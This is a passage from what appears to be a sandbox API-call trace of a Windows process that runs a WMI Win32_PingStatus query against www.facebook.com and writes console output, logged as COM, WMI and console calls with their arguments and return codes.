[6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0138.843] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c4f228, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c4f388) returned 0x0 [0138.843] WbemStatusCodeText:IUnknown:Release (This=0x5c4f228) returned 0x0 [0138.843] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f388, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c4f388) returned 0x0 [0138.843] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f388, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0138.843] WbemStatusCodeText:IUnknown:AddRef (This=0x5c4f388) returned 0x3 [0138.843] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f388, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0138.843] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f388, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0138.843] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f388, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0138.843] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0138.843] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0138.844] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f388, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0138.844] WbemStatusCodeText:IUnknown:Release (This=0x5c4f388) returned 0x2 [0138.844] WbemStatusCodeText:IUnknown:Release (This=0x5c4f388) returned 0x1 [0138.844] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0138.844] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0138.844] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f388, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c4f388) returned 0x0 [0138.844] WbemStatusCodeText:IUnknown:AddRef (This=0x5c4f388) returned 0x3 [0138.844] WbemStatusCodeText:IUnknown:Release (This=0x5c4f388) returned 0x2 [0138.844] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c4f388, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0138.844] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.849] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0138.850] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0138.850] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.850] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0138.850] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0138.850] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.850] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0138.850] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0138.850] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0138.850] SafeArrayGetLBound (in: psa=0x5c78d88, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0138.850] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.850] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.850] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.850] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.850] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.850] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.851] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.851] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.851] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.851] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.851] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.851] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.851] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.851] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.851] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.851] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.851] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.851] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.851] SysStringByteLen (bstr="__PATH") returned 0xc [0138.851] SysStringByteLen (bstr="__PATH") returned 0xc [0138.851] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bca2c*=0, plFlavor=0x22bca30*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22bca2c*=3, plFlavor=0x22bca30*=64) returned 0x0 [0138.852] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bca60*=0, plFlavor=0x22bca64*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22bca60*=8, plFlavor=0x22bca64*=64) returned 0x0 [0138.852] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.852] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.852] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bcab8*=0, plFlavor=0x22bcabc*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bcab8*=8, plFlavor=0x22bcabc*=64) returned 0x0 [0138.852] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bcae0*=0, plFlavor=0x22bcae4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22bcae0*=8, plFlavor=0x22bcae4*=64) returned 0x0 [0138.852] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.852] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.852] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bcb38*=0, plFlavor=0x22bcb3c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22bcb38*=8, plFlavor=0x22bcb3c*=64) returned 0x0 [0138.852] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.853] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.853] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bcd18*=0, plFlavor=0x22bcd1c*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22bcd18*=3, plFlavor=0x22bcd1c*=64) returned 0x0 [0138.853] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bcd4c*=0, plFlavor=0x22bcd50*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22bcd4c*=8200, plFlavor=0x22bcd50*=64) returned 0x0 [0138.853] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bcd80*=0, plFlavor=0x22bcd84*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22bcd80*=8, plFlavor=0x22bcd84*=64) returned 0x0 [0138.853] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.853] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.853] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bcdcc*=0, plFlavor=0x22bcdd0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22bcdcc*=8, plFlavor=0x22bcdd0*=64) returned 0x0 [0138.854] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.854] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.854] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bce18*=0, plFlavor=0x22bce1c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22bce18*=8, plFlavor=0x22bce1c*=64) returned 0x0 [0138.854] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.854] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.854] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0138.854] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0138.854] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.854] IWbemClassObject:Get (in: This=0x5c506a0, wszName="WriteInformationStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bd054*=0, plFlavor=0x22bd058*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bd054*=0, plFlavor=0x22bd058*=0) returned 0x80041002 [0138.854] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0138.856] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c4f228) returned 0x0 [0138.856] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f228, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0138.856] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c4f228, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c4f3e8) returned 0x0 [0138.856] WbemStatusCodeText:IUnknown:Release (This=0x5c4f228) returned 0x0 [0138.856] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f3e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c4f3e8) returned 0x0 [0138.856] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f3e8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0138.857] WbemStatusCodeText:IUnknown:AddRef (This=0x5c4f3e8) returned 0x3 [0138.857] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f3e8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0138.857] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f3e8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0138.857] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f3e8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0138.857] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0138.857] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0138.857] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f3e8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0138.857] WbemStatusCodeText:IUnknown:Release (This=0x5c4f3e8) returned 0x2 [0138.857] WbemStatusCodeText:IUnknown:Release (This=0x5c4f3e8) returned 0x1 [0138.857] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0138.857] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0138.857] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f3e8, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c4f3e8) returned 0x0 [0138.857] WbemStatusCodeText:IUnknown:AddRef (This=0x5c4f3e8) returned 0x3 [0138.857] WbemStatusCodeText:IUnknown:Release (This=0x5c4f3e8) returned 0x2 [0138.857] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c4f3e8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0138.857] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.859] GetConsoleOutputCP () returned 0x1b5 [0138.859] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0138.859] GetConsoleOutputCP () returned 0x1b5 [0138.859] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0138.859] GetConsoleOutputCP () returned 0x1b5 [0138.860] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0138.860] GetConsoleOutputCP () returned 0x1b5 [0138.860] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.860] GetConsoleOutputCP () returned 0x1b5 [0138.860] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.860] GetConsoleOutputCP () returned 0x1b5 [0138.860] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.860] GetConsoleOutputCP () returned 0x1b5 [0138.860] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.860] GetConsoleOutputCP () returned 0x1b5 [0138.861] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.861] GetConsoleOutputCP () returned 0x1b5 [0138.861] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.861] GetConsoleOutputCP () returned 0x1b5 [0138.861] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.861] GetConsoleOutputCP () returned 0x1b5 [0138.861] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.861] GetConsoleOutputCP () returned 0x1b5 [0138.861] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.861] GetConsoleOutputCP () returned 0x1b5 [0138.862] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.862] GetConsoleOutputCP () returned 0x1b5 [0138.862] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.862] GetConsoleOutputCP () returned 0x1b5 [0138.862] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0138.862] GetConsoleOutputCP () returned 0x1b5 [0138.862] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0138.862] GetConsoleOutputCP () returned 0x1b5 [0138.862] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0138.862] GetConsoleOutputCP () returned 0x1b5 [0138.863] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0138.863] GetConsoleOutputCP () returned 0x1b5 [0138.864] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0138.864] GetConsoleOutputCP () returned 0x1b5 [0138.864] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0138.864] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572ec50 | out: lpConsoleScreenBufferInfo=0x572ec50) returned 1 [0138.864] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec48 | out: lpMode=0x572ec48) returned 1 [0138.865] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22bd638*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x572ec3c, lpReserved=0x0 | out: lpBuffer=0x22bd638*, lpNumberOfCharsWritten=0x572ec3c*=0x4f) returned 1 [0138.865] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec48 | out: lpMode=0x572ec48) returned 1 [0138.865] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228e4d4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x572ec3c, lpReserved=0x0 | out: lpBuffer=0x228e4d4*, lpNumberOfCharsWritten=0x572ec3c*=0x2) returned 1 [0138.866] CoGetContextToken (in: pToken=0x572ee4c | out: pToken=0x572ee4c) returned 0x0 [0138.866] IEnumWbemClassObject:Clone (in: This=0x353660, ppEnum=0x572f004 | out: ppEnum=0x572f004*=0x3538b8) returned 0x0 [0138.872] IUnknown:QueryInterface (in: This=0x3538b8, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eec0 | out: ppvObject=0x572eec0*=0x3538bc) returned 0x0 [0138.872] IClientSecurity:QueryBlanket (in: This=0x3538bc, pProxy=0x3538b8, pAuthnSvc=0x572ef10, pAuthzSvc=0x572ef0c, pServerPrincName=0x572ef04, pAuthnLevel=0x572ef08, pImpLevel=0x572eef8, pAuthInfo=0x572eefc, pCapabilites=0x572ef00 | out: pAuthnSvc=0x572ef10*=0xa, pAuthzSvc=0x572ef0c*=0x0, pServerPrincName=0x572ef04, pAuthnLevel=0x572ef08*=0x6, pImpLevel=0x572eef8*=0x2, pAuthInfo=0x572eefc, pCapabilites=0x572ef00*=0x1) returned 0x0 [0138.872] IUnknown:Release (This=0x3538bc) returned 0x1 [0138.872] IUnknown:QueryInterface (in: This=0x3538b8, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eeb4 | out: ppvObject=0x572eeb4*=0x3b4224) returned 0x0 [0138.872] IUnknown:QueryInterface (in: This=0x3538b8, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eea0 | out: ppvObject=0x572eea0*=0x3538bc) returned 0x0 [0138.872] IClientSecurity:SetBlanket (This=0x3538bc, pProxy=0x3538b8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, 